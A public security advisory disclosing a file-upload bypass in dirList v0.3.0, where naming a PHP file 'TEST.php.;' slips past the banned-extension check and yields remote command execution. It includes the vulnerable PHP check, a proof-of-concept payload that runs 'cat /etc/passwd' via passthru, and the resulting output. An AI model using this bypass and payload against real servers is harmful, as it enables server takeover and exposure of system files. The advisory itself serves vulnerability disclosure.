[+]###################################################################################################
[+] Credits / Discovery: John Page   
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/DIRLIST-FILE-UPLOAD-BYPASS-CMD-EXEC.txt
[+] ISR: Apparition
[+]##################################################################################################



Vendor:
===============
sourceforge.net


Product:
===============
dirList v0.3.0


Download:
===========
sourceforge.net/projects/dir-list/


dirLIST displays files and folders in a given HTTP/FTP directory. It has a wonderful interface with choice of Thumbnail or List
view along with gorgeous icons for different file types. Includes a sleek gallery, web based mp3 player, file admin + more.



Vulnerability Type:
======================================
Bypass File Upload / CMD Execution



CVE Reference:
===============
N/A


Security Issue:
===============

When uploading "Banned" file types dirLIST replies with a base64 encoded error message.

e.g.
dXBsb2FkX2Jhbm5lZA== 

Decoded it reads, "upload_banned".


Banned files are setup in the "config.php" file.

$banned_file_types = array('.php', '.php3', '.php4', '.php5', '.htaccess', '.htpasswd', '.asp', '.aspx'); 

When upload a file, the check is made for banned file types.

In "process_upload.php" on Line: 47

if(in_array(strtolower(strrchr($file_name, ".")), $banned_file_types))
  {
    header("Location: ../index.php?folder=".$_POST['folder']."&err=".base64_encode("upload_banned"));
    exit;
  }


However, appending a semicolon ";" to end of our PHP file will skirt the security check allowing
us to upload a banned PHP file type, and our PHP file will be executed by server when accessed later.

Apache manual:
Files can have more than one extension, and the order of the extensions is normally irrelevant. For example, if the file welcome.html.fr
maps onto content type text/html and language French then the file welcome.fr.html will map onto exactly the same information. etc..

Therefore, a file named file.php.1, can be interpreted as a PHP file and be executed on server. 
This usually works if the last extension is not specified in the list of mime-types known to the web server. 

Developers are usually unaware of the "Apache" feature to process files with some odd unexpected extension like PHP.1, PHP.; and such.


Tested on:

Windows 7
Bitnami wampstack-5.6.29-0.
Apache/2.4.23 (Win64)

Linux
XAMPP 5.6.8-0
Apache/2.4.12 (Unix)



Exploit/POC:
============

1) Create a banned PHP file to upload named.

"TEST.php.;"

2) Upload to server using dirLIST. 


3) Done!


<?php
echo passthru('cat /etc/passwd');
?>

Result:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message
bus:/:/sbin/nologin avahi:x:70:70:Avahi
daemon:/:/sbin/nologin

etc...



Network Access:
===============
Remote



Impact:
=================
System Takeover



Severity:
===========
High


Disclosure Timeline:
=====================
Vendor Notification: No Replies
January 17, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c) HYP3RLINX

Hyp3rlinX (Apparition)